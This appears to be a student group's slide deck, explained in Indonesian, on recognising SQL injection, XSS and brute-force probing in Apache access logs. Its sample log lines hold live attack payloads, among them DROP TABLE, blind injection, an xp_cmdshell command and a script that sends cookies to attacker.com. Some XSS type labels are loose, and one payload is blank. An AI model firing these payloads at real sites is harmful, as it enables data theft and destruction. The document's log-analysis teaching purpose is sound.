ATTACKS VISIBLE IN APACHE LOG

GROUP MEMBERS:
2501963822-JOSUA ABRAHAM
2502009412-RAMADHANA KHALAF SANDHYAKALA
2502001441-AYUBI SHOLAHUDIN
2502018480-CARLSON KING
2501991536-VAUSTIN

SQL INJECTION

- 1. 192.168.1.102 - - [30/Oct/2023:12:26:19 +0700] "GET /product.php?id=1' OR '1'='1 HTTP/1.1" 200 532 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"
- 2. 192.168.1.103 - - [30/Oct/2023:12:27:19 +0700] "GET /product.php?id=1'; DROP TABLE members; -- HTTP/1.1" 200 532 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"
- 3. 192.168.1.104 - - [30/Oct/2023:12:28:19 +0700] "GET /product.php?id=1' AND 1=(SELECT COUNT(*) FROM tabname); -- HTTP/1.1" 200 532 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"
- 4. 192.168.1.105 - - [30/Oct/2023:12:29:19 +0700] "GET /product.php?id=1 AND sleep(5) HTTP/1.1" 200 532 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"
- 5. 192.168.1.106 - - [30/Oct/2023:12:30:19 +0700] "GET /product.php?id=1' AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1)))>96 HTTP/1.1" 200 532 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"
- 6. 192.168.1.107 - - [30/Oct/2023:12:31:19 +0700] "GET /product.php?id=\\'; exec master..xp_cmdshell \\\"ping 10.xx.xx.xx\\\"-- HTTP/1.1" 200 532 "-" "Mozilla/5.o (Windows NT 10.o; Win64; x64) AppleWebKit/537.o (KHTML, like Gecko) Chrome/o.o.o.o Safari/o.o"

Penjelasan

- 1. SQL Injection (Always True)
  - Timestamp: 30/Oct/2023:12:26:19 +0700
  - Serangan: SQL Injection dengan kondisi yang selalu benar (1' OR '1'='1), yang akan mengembalikan semua baris dari tabel.
  - User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537

- 2. SQL Injection (Drop Table)
  - Timestamp: 30/Oct/2023:12:27:19 +0700
  - Serangan: SQL Injection yang mencoba menghapus tabel (1'; DROP TABLE members; --).
  - User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537

- 3. SQL Injection (Subquery)
  - Timestamp: 30/Oct/2023:12:28:19 +0700
  - Serangan: SQL Injection dengan subquery (1' AND 1=(SELECT COUNT(*) FROM tabname); --) yang mencoba menghitung jumlah baris dalam tabel.
  - User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537

Penjelasan

- 4 SQL Injection (Time-Based Blind)
  - Timestamp: 30/Oct/2023:12:29:19 +0700
  - Serangan: SQL Injection berbasis waktu (1 AND sleep(5)) yang mencoba memperlambat respons server.
  - User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537

- 5. SQL Injection (Boolean-Based Blind)
  - Timestamp: 30/Oct/2023:12:30:19 +0700
  - Serangan: SQL Injection berbasis boolean (1' AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1)))>96) yang mencoba mengekstrak informasi dari database satu bit pada satu waktu.User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537

- 6. SQL Injection (Command Execution)
  - Timestamp: 30/Oct/2023:12:31:19 +0700
  - Serangan: SQL Injection yang mencoba mengeksekusi perintah shell (\\'; exec master..xp_cmdshell \\\"ping 10.xx.xx.xx\\\"--).
  - User Agent: Mozilla/5.o (Windows NT 10.o; Win64; x64) AppleWebKit/537.o (KHTML, like Gecko) Chrome/o.o.o.o Safari/o.o

XSS

- 1. 192.0.2.101 - - [30/Oct/2023:12:26:19 +0700] "GET /index.php?username=<script>document.location='http://attacker.com/collect.php?cookie='+document.cookie;</script> HTTP/1.1" 200 5320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"

- 2. 203.0.113.102 - - [30/Oct/2023:12:27:19 +0700] "GET /search?q=<img src='x' onerror='javascript:alert(1)'> HTTP/1.1" 200 4876 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3"

- 3. 198.51.100.103 - - [30/Oct/2023:12:28:19 +0700] "POST /login HTTP/1.1" 200 3521 "http://example.com/login" "<body onload=alert('XSS')>" "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3"

- 4. 203.0.113.104 - - [30/Oct/2023:12:29:19 +0700] "GET /page?id=<svg/onload=alert('XSS')> HTTP/1.1" 200 5123 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1 (KHTML, like Gecko) CriOS/56 Mobile"

- 5. 192.0.2.105 - - [30/Oct/2023:12:30:19 +0700] "GET /product?name= HTTP/1.1" 200 4876 "-" "Mozilla/5.0 (Windows NT 10; Win64; x64; rv:53) Gecko Firefox"

- 6. 198.51.100.106 - - [30/Oct/2023:12:31:19 +0700] "GET /comment?text=<iframe src="javascript:alert('XSS');"> HTTP/1.1" 200 5320 "-" "Mozilla/5.0 (Linux; Android 7; Nexus 6 Build/NBD90Z) AppleWebKit Chrome Mobile Safari"

Penjelasan

- 1. Stored XSS
  - Timestamp: 30/Oct/2023:12:26:19 +0700
  - Serangan: Serangan XSS Tersimpan yang mencoba memanipulasi cookie pengguna melalui skrip yang disimpan di server. Skrip ini akan mengarahkan lokasi dokumen ke situs penyerang dan mengirimkan cookie pengguna ke situs tersebut.
  - User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537

- 2. Reflected XSS
  - Timestamp: 30/Oct/2023:12:27:19 +0700
  - Serangan: Serangan XSS Reflected yang mencoba mengeksekusi skrip melalui URL. Skrip ini akan memicu peringatan JavaScript ketika gambar gagal dimuat.
  - User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3

- 3. DOM-based XSS
  - Timestamp: 30/Oct/2023:12:28:19 +0700
  - Serangan: Serangan XSS berbasis DOM yang mencoba memanipulasi DOM menggunakan skrip. Skrip ini akan memicu peringatan JavaScript ketika halaman dimuat.
  - User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3

Penjelasan

- 4. DOM-based XSS
  - Timestamp: 30/Oct/2023:12:29:19 +0700
  - Serangan: Serangan XSS berbasis DOM yang mencoba memanipulasi DOM menggunakan skrip. Skrip ini akan memicu peringatan JavaScript ketika SVG dimuat.
  - User Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1 (KHTML, like Gecko) CriOS/56 Mobile

- 5. Stored XSS
  - Timestamp: 30/Oct/2023:12:30:19 +0700
  - Serangan: Serangan XSS Tersimpan yang mencoba memanipulasi cookie pengguna melalui skrip yang disimpan di server. Skrip ini akan mengikat URL ke situs penyerang.
  - User Agent: Mozilla/5.0 (Windows NT 10; Win64; x64; rv:53) Gecko Firefox

- 6. Stored XSS
  - Timestamp: 30/Oct/2023:12:31:19 +0700
  - Serangan: Serangan XSS Tersimpan yang mencoba memanipulasi cookie pengguna melalui skrip yang disimpan di server. Skrip ini akan memicu peringatan JavaScript ketika iframe dimuat.
  - User Agent: Mozilla/5.0 (Linux; Android 7; Nexus 6 Build/NBD90Z) AppleWebKit Chrome Mobile Safari/603.3

BRUTE FORCE URL

- 1. 203.0.113.42 - - [22/Jun/2016:19:18:58 +0700] "POST /wp-login.php HTTP/1.1" 200 1691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"
- 2. 203.0.113.42 - - [22/Jun/2016:19:18:59 +0700] "GET /admin/login.php HTTP/1.1" 200 512 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"
- 3. 203.0.113.42 - - [22/Jun/2016:19:18:59 +0700] "POST /joomla/index.php?option=com_users&view=login HTTP/1.1" 200 1691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"
- 4. 203.0.113.42 - - [22/Jun/2016:19:19:00 +0700] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 1691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"
- 5. 203.0.113.42 - - [22/Jun/2016:19:19:00 +0700] "GET /.git/config HTTP/1.1" 404 512 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"
- 6. 203.0.113.42 - - [22/Jun/2016:19:19:00 +0700] "GET /cgi-bin/test-cgi HTTP/1.1" 404 1691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537"

Penjelasan

- 1. Multiple Failed Login Attempts from the Same IP Address
  - Timestamp: 22/Jun/2016:19:18:58 +0700
  - Serangan: Percobaan login berulang kali ke halaman login WordPress (wp-login.php) yang mengindikasikan serangan brute force.
  - User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537

- 2. Repeated Requests for the Same File
  - Timestamp: 22/Jun/2016:19:18:59 +0700
  - Serangan: Permintaan berulang kali ke halaman login admin (admin/login.php) yang mengindikasikan serangan brute force.
  - User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537

- 3. High Frequency of Requests from a Single IP
  - Timestamp: 22/Jun/2016:19:18:59 +0700
  - Serangan: Frekuensi permintaan yang tinggi ke halaman login Joomla (joomla/index.php?option=com_users&view=login) dari satu alamat IP yang mengindikasikan serangan brute force.
  - User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537

Penjelasan

- 4. Attempts to Access Known Vulnerable Paths
  - Timestamp: 22/Jun/2016:19:19:00 +0700
  - Serangan: Percobaan akses ke jalur yang dikenal rentan (/phpMyAdmin/scripts/setup.php) yang mengindikasikan serangan brute force atau percobaan eksploitasi.
  - User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537

- 5. Attempts to Access Hidden Directories
  - Timestamp: 22/Jun/2016:19:19:00 +0700
  - Serangan: Percobaan akses ke direktori tersembunyi (/ .git / config) yang mengindikasikan serangan brute force atau percobaan eksploitasi.
  - User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537

- 6. Attempts to Execute Scripts
  - Timestamp: 22/Jun/2016:19:19:00 +0700
  - Serangan: Percobaan eksekusi skrip (/cgi-bin/test-cgi) yang mengindikasikan serangan brute force atau percobaan eksploitasi.
  - User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.


THANK YOU
VERY MUCH!